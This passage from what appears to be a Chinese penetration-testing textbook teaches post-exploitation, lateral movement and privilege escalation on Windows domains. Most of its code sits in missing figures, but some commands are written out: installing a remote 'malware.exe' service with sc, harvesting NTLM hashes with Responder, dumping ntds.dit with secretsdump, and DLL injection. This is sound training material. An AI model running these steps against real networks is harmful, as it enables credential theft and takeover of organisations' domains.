这个命令将修改指定的注册表来隐藏用户账户（/V）。基于目标的特定操作系统版本，会有一些特别的语法要求，因此，首先得确定Windows版本，并且在攻击目标之前，在一个可控的测试环境中验证它。

11.1.3　后利用工具

后利用是一门利用现有的访问权限去进一步实施提权、利用、数据泄露等攻击行为的艺术。在后续章节中，我们将介绍三种不同的后利用工具：Metasploit、Empire和CrackMapExec。

Metasploit框架

Metasploit用来支持利用和后利用活动。目前的版本大约包括183个Windows模块，它们简化了后利用活动。我们将讨论其中一些最重要的模块。

在下面的屏幕截图中（图11-1），我们成功地利用了一个Windows 2008 R2系统（一个“经典”的攻击，经常被用来验证Meterpreter的一些复杂方面）。第一步就是直接侦察网络和被攻击的系统。

初始的Meterpreter shell在一段时间内是脆弱的和易受攻击的。因此，一旦一个系统被利用，我们将移动这个shell，然后将其和一个更加稳定的进程绑定在一起。这样也会使利用更难被检测到。在Meterpreter的提示符，输入ps来获得运行进程列表，如图11-1所示。

图11-1　输入ps来获得进程列表

ps命令会返回每个进程的完整路径名。在图11-1中，这点被忽略了。ps列表表明c:\windows\explorer.exe正在运行。在这个特定的例子中，它被识别为ID为604的进程，如图11-2所示。由于这是一个稳定的应用，我们将把shell移动到这个进程中。

图11-2　将shell移动到ID为604的进程

我们必须确认的一个事实是：我们是否在一台虚拟机上？使用Meterpreter，打开被破解系统和攻击者之间的会话，执行run post exploit module checkvm命令。返回的数据为This is a Sun VirtualBox Virtual Machine，如图11-3所示。

图11-3　执行命令后返回的数据

一些通过Meterpreter使用的重要的后利用模块见表11-4。

表11-4　Meterpreter中重要的后利用模块

例如，让我们在入侵的系统上运行winenum，它将转储所有重要的注册表密钥、LM散列，用于内网漫游和提权。这可以通过在Meterpreter shell上执行run winenum来实现，如图11-4所示。

图11-4　run winenum运行结果

你将看到确认信息：All tokens have been processed（所有的令牌都已被处理），如图11-5所示。

图11-5　确认信息

攻击者可以通过使用Meterpreter和改名模块来假冒会话令牌。最初，它是一个独立的模块，通过使用会话令牌来创建一个模拟用户。这些类似于网络会话的cookie识别用户，而不必每次都要求输入用户名和密码。类似地，同样的情况也适用于计算机和网络。

攻击者可以通过在Meterpreter shell执行use incognito来运行incognito，如图11-6所示。

图11-6　运行incognito

例如，如果本地用户使用了Meterpreter shell，现在将用户令牌模拟为系统用户NT Authority，普通用户就可以享受系统用户的权限。

为了运行这个模拟，攻击者可以从Meterpreter shell运行impersonate_token，如图11-7所示。

图11-7　运行impersonate_token

Empire项目

Empire工具是当前最强大的后利用工具，被全世界的渗透测试人员广泛使用，用于在测试中发起各种各样的攻击以揭示系统的漏洞。Empire是一个纯粹的PowerShell后期漏洞利用代理工具。Empire还包含了其他一些重要的工具，比如mimikatz。本节我们将近距离观察如何利用PowerShell的Empire工具在目标系统提权，而无须植入后门或使用任何入侵技术。

测试人员可以通过使用git下载Empire：

如图11-8所示，安装完成后，根据提示，输入与服务器协商的密码。该密码也可用于重置数据库。

图11-8　Empire安装完成界面

在你使用Empire工具时，reset.sh是一个十分重要的文件。它用于完全删除数据库并创建一个新的数据库。安装完成后，运行./empire启动Empire，可以看到如图11-9所示的画面。

图11-9　Empire启动界面

当前，Empire工具大约包含285个内置模块。表11-5是Empire中比较重要的一些命令，它们的功能与Metasploit和Veil-Pillage类似，但用法不同。

表11-5　Empire中的重要命令

Empire由4类重要的角色组成：

·监听器（Listener）：类似于Meterpreter的监听器，等待接收来自被破解系统的连接。监听器管理提供了创建不同类型本地监听器的接口，如dbx、http、http_com、http_foreign、ttp_hop和meterpreter。本章我们将探讨http类型的监听器。

·Stager：Stager为OS X、Windows和其他操作系统提供不同的模块系列，包括DLL、宏和单行命令等，外部设备可以利用这些模块发起更明智的社会工程学攻击和物理控制台攻击。

·代理（Agent）：代理指连接到监听器的僵尸机。通过运行agent命令，可以直接进入代理菜单，访问所有代理。

·登录与下载（Logging and download）：这部分只有当代理成功连接到监听器时才可以访问。与Meterpreter类似，Empire允许在本地通过PowerShell运行mimikatz命令，从而获得更多信息以发起更有针对性的攻击。

首先要做的事情是开启本地的监听器。listeners命令会让我们跳转到监听器菜单。如果有活跃的监听器，窗口就会显示。图11-10显示了利用listener http命令创建一个新的监听器。

图11-10　创建监听器

选择好监听器后，设置默认的80端口号。如果运行的是HTTP服务，你可以通过set Port portnumber命令修改端口号。一定要记住，Empire中的命令都是区分大小写的。你还可以使用tab键的特性，它可以自动更正命令并提供命令选项。

如图11-11所示，接下来是执行和启动。启动器允许我们选择语言：Python或者PowerShell：

图11-11　启动监听器

如图11-12所示，为了让目标系统变成代理，攻击者可以利用已有的Meterpreter会话，以及由Empire生成的负载，来运行PowerShell。

图11-12　运行PowerShell

负载一旦在远程系统运行，Empire工具的界面就会显示以下内容，如图11-13所示。

为了与代理交互，你需要输入agents来显示所有连接到你的代理，然后运行interact"name of the agent"（需要交互的代理的名字）。如图11-14所示，你可以从HTTPlistener向代理运行系统级命令。

图11-13　Empire界面显示内容

图11-14　与代理进行交互

CrackMapExec

CrackMapExec（CME）是另一种后利用工具，可用于大规模活动目录网络的自动安全审计。CME设计时就考虑了隐蔽性，遵从“自给自足”的原则：内置了大量活动目录属性和协议，使其能入侵大多数端点防护、IDS和IPS。

CME大量使用了Impacket库和PowerSploit，结合各种网络协议，可以执行各种各样的后利用技术。CME可以通过在终端运行apt-get install crackmapexec命令直接安装。这里我们安装的是3.1.15版本。如图11-15所示，成功安装CME后，可以运行crackmapexec-L命令查看工具中的所有模块。

图11-15　CME的所有模块

测试人员在安装过程中或者安装后都可能碰到crackmapexec相关错误。因为CME的API密钥是从Empire转换的。在这种情况下，你可以在终端中运行git clone--recursive https://github.com/byt3bl33d3r/CrackMapExec来直接克隆工具。

CME用于目标确定的红队训练或渗透测试，其主要分成三个部分：协议、模块和数据库。

·协议（Protocol）：CME支持SMB、MSSQL、HTTP、WINRM和SSH，这些都是大多数组织常用的协议。

·模块（Module）：表11-6给出了CME中可用的模块信息。但CME的模块不仅限于此，测试人员也可以使用第三方插件，或者编写自己的PowerShell脚本，然后在CME中调用它们。

表11-6　CME提供的模块

·数据库（Database）：如图11-16所示，cmedb是CME的数据库，用于存储利用后获取的主机和凭据信息。

图11-16　CME数据库内容

例如，我们利用从破解的系统获取的hashdump来运行ipconfig命令，代码如下：

图11-17显示，成功传递散列值表明凭据是有效的，并且ipconfig命令在目标主机成功执行。

图11-17　在目标主机执行ipconfig命令

11.2　横向提权与内网漫游

在横向提权中，攻击者保留其现有的凭据，但是，将它们作用于不同的用户账户。例如，被入侵系统A上的一个用户，去攻击系统B上的一个用户，尝试去入侵系统B。

攻击者内网漫游时需要利用受损的系统。主要用于提取常见用户名的散列值，如ITsupport（IT支持）、LocalAdministrators（本地管理员）或者已知的默认用户管理员，从而在连接在同一域下的所有可用系统上实现横向提权。例如，这里我们将使用CME在一定的IP范围内使用相同的密码散列，从而在一个黑客控制的共享磁盘上转储所有密码。

图11-18显示了SAM转储在整个IP范围内运行的输出，无须植入任何可执行文件或后门就可以提取SAM的密码散列。

大多数时候，我们可以使用本地管理员的密码散列成功登录整个域的系统中心配置管理器（Microsoft System Center Configuration Manager，SCCM）。SCCM管理所有由组织管理的系统的软件安装。登录后，就可以从SCCM执行命令和控制了。

运行以下命令，你也可以利用捕获的用户名和密码散列在期望的目标上运行Mimikatz：

图11-19显示了mimikatz在目标系统的输出。可用于以纯文本形式提取密码而无须上传任何可执行文件或植入任何后门程序。

图11-18　提取的SAM密码散列

图11-19　执行mimikatz的输出

对于有经验的机构，该负载可能会被终端防护或者杀毒软件阻止，但如果用户是本地管理员的话，则该hashdump不会被阻止。

CME能够很好地支持散列传递，可以从模块直接调用mimikatz，或者调用Empire PowerShell实现数据泄露。

11.2.1　Veil-Pillage

Veil-Pillage是一个作为主要Veil框架的一部分开发的模块，攻击者可以在后利用过程中使用该模块。在本节中，我们将简要介绍一下Veil-Pillage的组织方式，以及可用于实现渗透测试目标的不同模块类型。

图11-20描述了Veil-Pillage框架的主要部分：

图11-20　Veil-Pillage 框架

Pillage框架中所有可用模块的更多详情如下：

·凭证（Credentials）：提供一个模块列表，可用于抓取所有凭据，并且hashdump入侵系统的有效用户名和密码。

·枚举（Enumeration）：这部分提供了一个模块列表，专门用于枚举域网络，同时提供了一个验证凭据的模块。

·碰撞（Impacket）：可以用来运行不同类型的shell（SMB、PsExec）。

·管理（Management）：管理和提权，如启用远程桌面、注销和检查UAC等。

·负载传递（Payload_delivery）：一个模块列表，用于交付不同种类（如EXE和PowerShell）的负载。

·持久性（Persistence）：包括在持久性会话中的关键模块，例如添加本地和域用户、查找粘滞键等。

·强应用（PowerSploit）：掠夺的最重要的部分，其中模块被设计为执行远程代码、数据提取和运行自定义的PowerShell利用。

Veil-Pillage可以直接从GitHub复制，在终端运行：git clone https://github.com/Veil-Framework/Veil-Pillage。

一旦复制完成，使用cd Veil-Pillage/，并通过运行./update.py git clone来更新最新程序包，匹配旧版本的impacket，它可能不会运行Veil-Pillage，因此建议运行pip install impacket==0.9.13。下载好应用程序后，可以从复制的位置运行./Veil-Pillage.py，你将看到如图11-21所示的界面。

图11-21　Veil-Pillage加载画面

测试人员可能面临未找到模块的错误提示，例如“No module namedmodules.*”。此时，必须确保已经将Veil-evasion安装到了Kali上，并确保安装了impacket v0.9.13。

11.2.2　入侵域信任与共享

在本节中，我们将讨论可以操纵的域层次结构，从而使用在Active Directory上实现的功能。

我们将利用Empire工具来捕获所有域级的信息和系统间的信任关系。攻击者可以通过Empire工具进行各种类型的查询，以获取被入侵系统的当前状态。表11-7提供了红队训练和渗透测试活动中最有效的一些模块。

表11-7　Empire的一些高效模块

在本例中，我们利用situational_awareness/network/powerview/get_forest模块获取一个连接域的森林信息。如图11-22所示，成功运行该模块后将显示域内的森林信息。

在一个例子中，攻击者始终定位包含ADMIN$和C$的系统，从而可以在其中植入后门或者收集信息，然后就可以使用这些凭据远程执行相关命令。

如图11-23所示，这可以通过使用situational_awareness/network/powerview/share_finder模块实现。

图11-22　域内的森林信息

图11-23　使用situational_awareness/network/powerview/share_finder模块

11.2.3　PsExec、WMIC和其他工具

PsExec是微软关于Telnet的替代，可以从https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx下载。

通常，攻击者利用PsExec模块，使用有效凭证获得与远程系统的访问并与之通信，如图11-24所示。

图11-24　运行PsExec

最初，该可执行文件是为系统内部设计的，以作为框架的一部分来解决任何问题。现在可以通过运行PsExec Metasploit模块并执行远程选项来利用。这将打开一个shell，测试人员可以输入用户名和密码，也可以传递散列值，因此无须破解密码散列即可访问系统。现在，如果一个系统在网络上受到入侵，那么不需要任何密码，就可以执行所有内网漫游。

图11-25提供了具有有效凭据的PsExec的Metasploit模块。

图11-25　具有有效凭据的PsExec的Metasploit模块

WMIC

针对新的目标系统，攻击者和渗透测试人员利用内置的脚本语言，例如，Windows设备管理命令行（Windows Management Instrumentation Command-line，WMIC），通过使用命令行和脚本界面来简化访问Windows配置。如果被破解系统支持WMIC，可以通过一些命令来收集信息。请参见表11-8。

表11-8　信息收集命令

PowerShell是一种基于.NET框架的脚本语言，在控制台上运行，提供用户访问Windows文件系统和对象的接口，例如注册表。Windows 7及更高的操作系统上默认安装PowerShell。WMIC为PowerShell提供了扩展脚本支持和自动化，允许用户对本地和远程目标进行Shell集成和互操作。

PowerShell允许测试人员访问被破解系统上的shell和脚本语言。作为Windows操作系统的自带程序，其命令的使用不会触发杀毒软件。当脚本在远程系统上运行时，由于PowerShell不会写入磁盘，因而可以绕过杀毒软件和白名单控制（假设用户已经允许使用PowerShell）。

PowerShell支持一些被称为cmdlets的内置函数。其优点之一是由于cmdlets是常见的Unix命令的别名，所以键入ls命令将返回一个典型的目录列表，如图11-26所示。

图11-26　使用ls命令的屏幕截图

PowerShell是一种支持复杂操作的丰富的语言，建议用户花时间来熟悉它的使用。一些较简单的、可以立即在破解后使用的命令见表11-9。

表11-9　简单的PowerShell命令表

渗透测试人员可以使用Windows自带的命令、DLL、.NET函数、WMI调用和PowerShell的cmdlets命令一起创建后缀名为.ps1的PowerShell脚本。使用WMIC利用凭证内网漫游的例子是，攻击者在远程机器上运行进程，从内存转储明文密码。执行的命令如下：

侦察也应该扩展到本地网络。既然你正在“盲目”地工作，你将需要创建一个被击垮主机可以与之通信的活跃系统和子网的映射。首先在shell提示符下输入IFCONFIG（基于Unix的系统）或IPCONFIG/ALL（Windows系统）。这将允许一个攻击者确定以下内容：

·DHCP寻址是否启用。

·本地IP地址，这将确定至少有一个活跃子网。

·网关的IP地址和DNS服务器地址。系统管理员通常遵循网络中的编号惯例，并且，如果攻击者知道一个地址，例如，一个网关服务器的地址192.168.0.1，他们将用ping寻址，如192.168.0.123、192.168.0.138等，从而找到其他子网。

·用于利用活动目录（Active Directory）账号的域名。

如果攻击系统和目标系统都使用的是Windows操作系统，net view命令可以用来枚举网络上的其他Windows操作系统。攻击者使用netstat–rn命令来审查那些可能包含通往其他网络，或者感兴趣系统的静态路由的路由表。

可以使用nmap来扫描本地网络嗅探出ARP广播。另外，Kail有几个工具可以用于SNMP端点分析，包括：nmap、onesixtyon和snmpcheck。

部署一个数据包嗅探器来映射流量将会帮助你识别主机名、活跃子网和域名。如果DHCP寻址没有启用，它也将允许攻击者确定任何未使用的、静态的IP地址。Kail预配置了Wireshark（基于GUI的数据包嗅探器），但是你可以在一个后利用脚本中或者从命令行使用tshark，如图11-27所示。

Windows证书编辑器

攻击者通常利用Windows证书编辑器（Windows Credential Editor，WCE）来添加、改变、列举和获取NT/LM散列，以及列举注册会话。WCE可以从以下网站下载：http://www.ampliasecurity.com/research/windows-credentials-editor/。

图11-27　使用tshank命令

如图11-28所示，利用Meterpreter shell，可以将wce.exe上传到被入侵的系统。上传成功后，可以运行shell命令查看WCE是否成功。然后运行wce.exe-w就可以列出所有用户的登录会话，包含明文密码。

图11-28　枚举用户的登录会话

随后，攻击者就可以利用这些凭证实现内网漫游，从而完成同一凭据的多系统使用。

渗透测试人员可以主要使用PowerShell的自动化Empire工具针对活动目录、信任域或者提权发起攻击。我们将在第12章重点介绍。

11.2.4　利用服务实现内网漫游

如果渗透测试人员遇到一个没有PowerShell调用的系统怎么办呢？在这种情况下，SC对发起内网漫游（包括所有可以访问的系统或者可以匿名访问共享文件夹的系统）来说非常有用。

1.*net use\\advanced\c/user:advanced\username password。

2.dir\\advanced\c。

3.将创建的后门程序拷贝到共享文件夹。

4.创建一个服务，名为backtome。

5.*Sc\\remotehost create backtome binpath="c:\xx\malware.exe"。

6.Sc remotehost start backtome。

11.2.5　支点攻击和端口转发

在第9章中，我们讨论了通过绕过内容过滤和NAC的连接端口转发的简单方法。在本节中，我们将使用Metasploit的Meterpreter在目标上进行支点攻击和端口转发。

在目标系统的活动会话期间，使用Meterpreter，攻击者可以使用同一个系统扫描内部网络。如图11-29所示，显示了具有两个网络适配器192.168.0.119和192.168.52.129的系统。

图11-29　有两个网络适配器的系统

但是，攻击者的IP没有到达内部IP范围的路由。使用Meterpreter会话的渗透测试人员可以在入侵系统增加路由，通过在Meterpreter中运行run post/multi/manage/autoroute来启动后利用自动路由模块，如图11-30所示。该模块通过将被入侵机器作为桥梁，从Kali攻击盒添加新路由到内部网络。

现在，从攻击者的IP到内部IP范围（192.168.0.52.x）的所有流量，都将通过入侵系统（192.168.0.x）进行路由。

现在，我们将Meterpreter会话放在后台运行，并尝试了解超出IP范围的内容，依然使用Metasploit中的NetBIOS扫描器，但利用以下模块：

图11-30　执行run post/multi/manage/autoroute

确保将RHOSTS设置为内部系统的IP范围（见图11-31）。这将使攻击者能够在跳频网络上找到更多的系统。

图11-31　攻击者找到更多的系统

一旦使用NetBIOS识别了系统，下一步是扫描所识别的主机的服务以发现漏洞，从而实现渗透测试的目标。典型的举措是利用Metasploit模块中的端口扫描器，如图11-32所示。

图11-32　使用扫描器

使用代理链

想要使用nmap和其他工具扫描网络以外的主机，渗透测试人员可以通过运行以下代码来利用Metasploit的socks4a模块：

通过编辑/etc/proxychains.conf，并将socks4配置更新为1080端口（或在Metasploit模块中设置的端口号），在运行模块后配置代理链（Proxychains）配置，如图11-33所示：

图11-33　配置代理链

现在，攻击者将能够通过在终端运行proxychains nmap-vv-sv192.168.52.129来直接运行nmap。

11.3　小结

在本章中，我们着重介绍了完成目标系统利用后，紧接着要做的事。我们回顾了为表示服务器与本地环境而进行的初始快速评估。我们还学习了如何使用各种后利用工具来定位感兴趣的目标文件、创建用户账户，并执行横向提权来获取特定于其他用户的更多信息。我们专注于Metasploit的Meterpreter的使用，以及Empire PowerShell工具和Crack-Map-Exec，以收集更多的信息来执行内网漫游和提权攻击。我们还学习了Veil-Pillage框架的使用。

在第12章中，我们将学习如何从一个普通用户提权到最高权限，以及如何利用在活动目录环境发现的漏洞。

第12章　提权

提权是指从相对较低的访问权限获得管理员、系统管理员或更高访问权限的过程。它允许渗透测试人员拥有系统操作的所有权限。更重要的是，获取某些访问权限将允许测试人员控制网络上的所有系统。随着漏洞变得越来越难以找到和利用，人们对提权进行了大量的研究，并将其作为确保渗透测试成功的手段。

在本章中，我们将学习：

·通用提权方法。

·本地系统提权。

·DLL注入。

·通过嗅探和提权进行凭证收割。

·针对Kerberos的金票攻击。

·活动目录访问权限。

12.1　常见的提权方法概述

任何从方法论开始的事情都提供了解决问题的方法。在本节中，我们将介绍攻击者在红队训练或渗透测试中使用的通用提权方法。图12-1描述了可以使用的方法。

根据杀链方法，目标的行动包括通过提权以维持对目标环境的访问。

以下是任何目标系统中都存在的用户账户类型：

·普通用户：攻击者一般通过在普遍用户级运行后门程序访问系统。他们是系统（Windows或Unix）的普通用户，并且要么是本用户，要么是域用户，具有受限的系统权限，只能运行系统许可的任务。

图12-1　通用提权方法

·本地管理员：本地管理员是有权进行系统配置更改的系统账户持有者。

·授权管理员：授权管理员是具有管理员权限的本地用户账户。例如账户操作员或备份操作员是用于在活动目录环境中授权管理任务的典型组。

·域管理员：域管理员是可以管理他们所属域的用户。

·企业管理员：企业管理员是在活动目录中维护整个网络，有最多权限的用户。

·架构管理员：架构管理员是可以配置网络的用户。架构管理员不是最高权限账号的原因是，攻击者不能向其他组添加用户，因而限制了修改活动目录森林的访问级别。

12.2　从域用户提权至系统管理员

大多数情况下，通过发起控制台级攻击或者社会工程学攻击，攻击者可以获取普通域用户（非本地管理员）的访问权限（受限的权限）。下一步可以通过绕过和利用它去获取目标的系统级访问权限，而无须成为本地管理员。

当攻击者最初访问系统并尝试运行系统级命令时，他们会收到拒绝访问（access denied）或没有权限在目标系统上运行命令（no privilege available to run the commands on the target system）的响应。这可以通过从Meterpreter控制台运行getsystem命令来验证，如图12-2所示。

图12-2　运行getsystem命令

在本节中，我们将探讨Windows 2008和Windows 7系统中的一个漏洞。我们将使用最新的本地利用攻击ms18_8120_win32k_privesc来利用Win32k组件，该组件没有在内存中处理对象的属性，你可以将Meterpreter会话移至后台，然后通过以下步骤使用后利用模块：

如图12-3所示，成功利用这个漏洞可以以更高的权限开启一个shell。

图12-3　使用漏洞开启shell

如图12-4所示，新的会话为你提供了系统级的访问权限（NT AUTHORITY\SYSTEM），这使得攻击者可以创建一个本地管理员级别的用户，进而可以利用Meterpreter shell的hashdump命令获取散列转储，或启用RDP并使用新账号登录，从而实现内网漫游。

图12-4　添加本地管理员级别的账号

12.3　本地系统提权

对于Windows 10或Windows 7系统，我们可以在用户环境下运行Meterpreter shell。可以在Meterpreter shell运行background，从而通过使用多个后利用模块实现绕过，具体使用哪个后利用模块取决于目标系统。在下面的例子中，我们使用了bypassuac后利用模块，如图12-5所示：

图12-5　启用bypassuac模块

Meterpreter中的bypassuac模块将利用Meterpreter上的现有会话，提供一个权限更高的Meterpreter shell，如图12-6所示。

图12-6　获得提权的Meterpreter shell

12.4　由管理员提权至系统管理员

管理员权限允许攻击者创建和管理账户，访问系统上大部分的有效数据。然而，一些复杂的功能任务，要求请求者具有系统（SYSTEM）级别的访问权限。有几种方法可以实现将权限升级到系统级别。最常用的方法是用at命令，但现在因为安全原因已经过时，被Windows用于在特定时间调度任务。at命令总是在系统级权限上运行，然而，现在只能以非交互模式运行（见图12-7）。

使用一个交互式的shell（在Meterpreter命令提示符下输入shell），打开一个命令提示符，并确定被入侵系统的本地时间。如果时间是下午12:50（at函数采用24小时计时法），在稍晚的时间调度一个交互式的命令shell，如图12-8所示。

图12-7　执行at命令

图12-8　成功创建计划任务

当at任务指定好运行时间后，在Meterpreter命令提示符下，再次确认一下你的访问权限，如图12-9所示。

图12-9　在Meterpreter命令提示符下确定权限级别

Windows 7和Windows 2008默认不允许不受信任的系统（如ADMIN$、C$等）远程访问管理共享。Meterpreter脚本可能需要这些共享，例如隐形模式或支持对服务器信息块（Server Message Block，SMB）的攻击。为了解决这个问题，将HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System添加到注册表中，并添加一个名为LocalAccountTokenFilterPolicy的新DWORD（32位）密钥，并将其值设置为1。

另一个方法是，运行PsExec命令获取系统级访问权限。具体方法是上传PsExec到目标文件夹，然后以本地管理员的身份运行如下命令：

如图12-10所示，该命令将以系统用户的身份开启另一个命令提示符。

图12-10　开启新的命令提示符

DLL注入

DLL注入是另一个简单的技术，被攻击者用于在另一个进程的地址空间的上下文中运行远程代码。此进程必须以超级权限运行，然后可用于以DLL文件的形式提权。

Metasploit具有执行DLL注入的特定模块。攻击者唯一需要做的是链接现有的Meterpreter会话，并指定DLL的路径和进程的PID。

在Meterpreter shell上从/usr/share/metasploit-framework/data/exploits/CVE-2015-2426/reflection_dll.x64.dll上传DLL，用户可以看到上传到目标位置的文件，如图12-11所示。

图12-11　上传DLL并查看上传到目标位置的文件

文件上传后，退出（exit）命令提示符，返回到Meterpreter shell。现在运行ps命令列出所有进程。识别以系统级权限运行的进程ID。在示例中，我们将使用进程ID为1624的jmx.exe，然后运行background命令将Meterpreter shell放在后台运行。

通过运行use post/windows/manage/reflective_dll_inject，在模块中使用后利用reflective_dll_inject。然后，设置PATH和SESSION利用，你将在Meterpreter的命令行获得另一个反向shell和负载。

另一种方法是，利用Empire工具中的PowerShell DLL注入模块。你可以通过msfvenom创建一个带负载的DLL：

在Empire控制台，你可以选择合适的进程，并以NT AUTHORITY/SYSTEM的身份运行：

如图12-12所示，DLL文件注入一个正在运行的进程后，攻击者可以收到一个代理的报告，显示用户提权完成。

图12-12　代理返回的报告

如图12-13所示，成功调用DLL后，负载得到执行，并成功以系统级用户的身份开启一个反向shell。

图12-13　成功调用DDL

12.5　凭据收割和提权攻击

凭证收割是识别目标用户名、密码和散列值的过程，这些可用于组织为渗透测试/红队训练设定目标。在本节中，我们将介绍Kali Linux中攻击者通常使用的三种不同类型的凭据收割机制。

12.5.1　密码嗅探器

密码嗅探器是一组工具/脚本，通常通过发现、欺骗、嗅探流量和代理来执行中间人攻击。根据我们之前的经验，我们注意到大多数机构内部都没有使用SSL，使用Wireshark可以获取大量用户名和密码。

本节我们将探讨利用bettercap来捕获网络上的SSL流量，从而捕获网络用户的凭据。bettercap与上一代的ettercap命令类似，但增加了执行网络级欺骗和嗅探的功能。在Kali Linux终端中运行apt-get install bettercap可以直接下载bettercap。2018年，bettercap发展很快，兼容了用户接口，启用了胶囊模式（caplet）。胶囊（caplet）是扩展名为.cap的文件，可以被脚本化以实现交互会话的目的。类似于Metasploit的.rc文件，可以在终端执行以下命令对其进行更新：sudo bettercap-eval"caplets.update;q"。

bettercap工具可用于在内部网络上实施更有效的中间人攻击。例如，我们可以使用一个caplet实施ARP和DNS欺骗，从而获取密码，脚本如下：

如图12-14所示，bettercap具备嗅探目标网络上所有流量数据的能力。

图12-14　使用bettercap嗅探网络流量

为了提取SSL流量，我们可以利用https.proxy模块，代码如下：

如图12-15所示，在bettercap工具中执行上述命令可以查看HTTPS流量信息。

测试人员在使用bettercap时要非常小心，因为它有可能会中断Kali Linux连接的整个网络。

图12-15　使用bettercap查看HTTPS流量信息

12.5.2　响应者

响应者（Responder）是针对本地链路多播名称解析（Link-Local Multicast Name Resolution，LLMNR）和NetBIOS名称服务（NetBIOS Name Service，NBT-NS）的内置Kali Linux工具，可根据文件服务器请求响应特定的NetBIOS查询。可以通过在终端中运行responder-I eth0-h来启动此工具，其中eth0指的是网络上你想要的以太网适配器名称，如图12-16所示。

图12-16　启动Responder工具

Responder可以执行以下操作：

·检查包含任何特定DNS条目的本地主机文件。

·在所选网络上自动执行DNS查询。

·使用LLMNR/NBT-NS向所选网络发送广播消息。

同一网络上的攻击者可以在该网络上启动Responder，如图12-17所示。Responder可以自行设置多种服务器类型。

图12-17　启动同一网络上的Responder

在这个例子中，假设我们在IP地址为192.168.1.125的受害者试图访问位于\\METASPLO ITABLE3\\的文件服务器时对其进行入侵。不管怎样，受害者会收到如图12-18所示的错误消息。

图12-18　错误信息

现在攻击者使用Responder中断包含NTLM用户名和散列的结果，如图12-19所示。

通过在终端中运行responder-I eth0-wrFb，可以使用Responder执行另一个简单的密码捕获攻击。在这种情况下，用户将获得一个NTLM弹出窗口以输入用户名和密码。所有日志文件将放在/usr/share/responder/logs/下，日志文件名为SMBv2-NTLMv2-SSP-<IP>.txt。然后可以通过运行john SMBv2-NTLMv2-SSP-<IP>.txt直接传递给John the Ripper，以便脱机破解捕获的NTLM散列。如图12-20所示，通过--show选项可以查看john的输出。其中第一个变量表示用户名，第二个是明文密码，第三个是主机名，后面跟着哈希值。

图12-19　攻击者获取受害者的NTLM用户名和散列值

图12-20　通过--show选项查看john的输出

12.5.3　SMB中继攻击

特定于SMB的攻击是最近新兴的一种有趣的攻击，包括EternalBlue和SMB中继攻击。渗透测试人员利用SMB中继来捕获身份认证尝试（请求），并将其用于网络上的进一步行动。这些只是另一个pass the hash（绕过哈希）攻击。为了启动SMB中继攻击，请执行以下步骤：

1.用特定的负载创建一个后门：

2.现在使用smbrelayx.py装备SMB中继攻击。smbrelayx.py文件可以在/usr/share/doc/python-impacket/examples/smbrelayx.py找到，它是Python impacket包的一部分。如图12-21所示，测试人员可以运行并设置一个SMB服务器。这应当会让我们成功得到另一个反向shell：

图12-21　用smbrelayx.py装备SMB中继攻击

3.确认Metasploit句柄开启，并正在运行创建payment.exe文件时所设置的相同的负载。最后，你应该可以在Meterpreter上看到一个反向shell，如图12-22所示。

图12-22　反向shell的截图

12.6　提升活动目录中的访问权限

我们刚刚探索了如何升级系统内的权限，以及如何通过网络获取凭据。现在让我们利用迄今为止收集的所有细节。然后，使用杀链方法实现渗透测试的目标。在本节中，我们将把普通域用户的权限升级为域管理员。

我们可以识别连接到域的系统，使用Empire PowerShell工具升级到域控制器，并转储所有用户名和密码散列值，如图12-23所示。

图12-23　转储用户名和密码散列值

你可以使用态势感知模块get_domain_controller收集更多关于域的信息，如图12-24所示。

攻击者可以使用get_loggedon模块来识别谁登录到了域中，命令如下：

所有登录到域控制器的用户都将是可见的，如图12-25所示。

通过使用getsystem模块在本地升级权限，如图12-26所示。

升级方法的下一步是将权限升级到域管理员。一旦运行mimikatz来转储所有的用户密码和散列，这一步就不是必需的，如图12-27所示。你可以通过Metasploit中的Psexec模块或者CrackMapExec使用散列或者明文测试密码进行身份验证。

现在，攻击者可以通过在Empire界面中输入creds来检查Empire工具的凭据存储中的所有凭据，如图12-28所示。

图12-24　执行态势感知模块

图12-25　查看登录到域控制器的所有用户

图12-26　升级本地权限

图12-27　使用mimikatz转储所有用户密码和散列

图12-28　检查所有凭据

第二步是从Empire PowerShell工具中调用wmi模块。在Empire PowerShell的命令行运行以下命令：

这将调用域控制器成为监听器的代理，如图12-29所示。

图12-29　从Empire PowerShell调用wmi模块

收到代理对Empire工具的回应后，我们可以通过运行interact<Name>命令切换代理为新回应的计算机。然后，如图12-30所示，使用management/enable_rdp模块将启用域控制器的远程桌面协议（Remote Desktop Protocol，RDP）。

图12-30　启用域控制器的远程桌面协议

现在我们可以利用RDP远程访问系统了。利用当前对域控制器的访问，我们可以使用该会话进一步转储所有用户信息和密码散列值。

要转储活动目录中的所有用户，我们必须找到完整的安全注册表和系统注册表，使用ntds.dit也是非常重要的。可以通过单个PowerShell命令使用Ntdsutil来执行：

上述命令是做什么的？

Ntdsutil是Windows服务器系列内置的一个命令行工具，用于提供活动目录域服务的管理。它们是从媒体安装的（Install From Media，IFM），帮助我们从域控制器下载所有的活动目录数据库和注册表设置，以展开文件，如图12-31所示。最后，我们可以在c:\temp看到这些文件，包含两个文件夹：Active Directory和registry。

图12-31　展开文件

现在，注册表和系统配置单元都已在C:\temp文件夹中创建，可以用于使用secretsdump.py来离线破解密码。

secretsdump.py是来自Impacket的Kali Linux中的内置脚本。要查看明文和散列密码，攻击者可以在终端中运行secretsdump.py-system<systemregistry>-security<securityregistry>-ntds<location of ntds“LOCAL”。运行secretsdump.py时，你应该可以看到如图12-32所示的屏幕截图。

图12-32　散列密码和明文密码

搜索pekList后，所有活动目录用户名及其密码散列都肯定对攻击者可见，如图12-33所示。

图12-33　所有活动目录用户名及其密码散列信息

类似地，如果目标只是提取一个域的hashdump，攻击者可以利用credentials/Mimikatz/dcysnc_hashdump模块。如图12-34所示，该模块直接在域控制器上运行，只获取所有域用户的用户名和密码散列。

图12-34　使用credentials/Mimikatz/dcysnc_hashdump模块

12.7　入侵Kerberos——金票攻击

最近发现的另一组更复杂的攻击，是在活动目录环境下滥用Microsoft Kerberos漏洞。成功的攻击导致攻击者入侵域控制器，然后使用Kerberos实现将权限升级到企业管理员和架构管理员级别。

以下是用户在基于Kerberos的环境，通过用户名和密码登录的典型步骤：

1.用户密码被转换成具有时间戳的NTLM散列值，然后将其发送到密钥分发中心（Key Distribution Center，KDC）。

2.域控制器检查用户信息并创建一个票证–授权票据（Ticket-Granting Ticket，TGT）。

3.该TGT只能通过Kerberos服务（Kerberos service，KRBTGT）访问。

